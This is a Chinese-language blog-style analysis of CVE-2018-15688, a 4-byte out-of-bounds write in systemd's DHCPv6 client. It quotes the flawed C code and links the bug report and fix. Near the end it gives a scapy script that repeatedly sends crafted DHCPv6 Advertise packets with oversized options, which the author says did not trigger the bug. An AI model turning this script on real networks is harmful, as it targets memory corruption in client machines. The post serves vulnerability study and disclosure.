CVE-2018-15688 systemd dhcp6组件越界写漏洞分析

编译的话 , 用 ubuntu 18.10, 没有 patch 的源码下载路径

https://codeload.github.com/poettering/systemd/zip/3941f8329a44596d77e9b9240f6e792656726fea

漏洞位于 dhcp6_option_append_ia

        switch (ia->type) {
        case SD_DHCP6_OPTION_IA_NA:
                len = DHCP6_OPTION_IA_NA_LEN;
                iaid_offset = offsetof(DHCP6IA, ia_na);
                break;

        case SD_DHCP6_OPTION_IA_TA:
                len = DHCP6_OPTION_IA_TA_LEN;
                iaid_offset = offsetof(DHCP6IA, ia_ta);
                break;

        default:
                return -EINVAL;
        }

        if (*buflen < len)  
                return -ENOBUFS;

        ia_hdr = *buf;
        ia_buflen = *buflen;

        *buf += offsetof(DHCP6Option, data);
        *buflen -= offsetof(DHCP6Option, data);

        memcpy(*buf, (char*) ia + iaid_offset, len);

        *buf += len;
        *buflen -= len;

buflen 为 buf 剩余的空间大小， len 根据 ia这个选项的类型来确定

程序通过

if (*buflen < len) 

来判断 buf 剩下的空间够不够存储 ia， 但是后面通过 *buf += offsetof(DHCP6Option, data) 相当于把 buf 的空间减少了 0x4 字节，这就有可能造成 4 字节的溢出。

漏洞条件：需要能劫持 dhcp 服务器， 同时客户端要发送 dhcp6 的请求报文。

不过没有找到触发的方法，先贴一个发送 dhcp6 数据包的脚本。

from scapy.all import *
from time import sleep

sol = DHCP6_Solicit()
adv = DHCP6_Advertise()
opreq = DHCP6OptOptReq()
et= DHCP6OptElapsedTime()

duid = "00010001236be812000c292038db".decode("hex")
cid = DHCP6OptClientId(duid=duid)
sid = DHCP6OptServerId(duid=duid)
sid.add_payload("s"*800)

iana = DHCP6OptIA_NA(iaid=0xdeadbeef, ianaopts=DHCP6OptIAAddress(addr="fe80::431a:39d4:839d:215c"))

l2 = Ether(src="00:0c:29:27:59:f1")
l3 = IPv6(dst="fe80::431a:39d4:839d:215c", src="fe80::847:8219:1871:5a0f")
l4 = UDP()
pkt = l2/l3/l4/adv/iana/cid/sid

while True:
	sendp(pkt, iface='ens38')
	sleep(0.3)

参考

https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1795921

https://github.com/poettering/systemd/commit/49653743f69658aeeebdb14faf1ab158f1f2cb20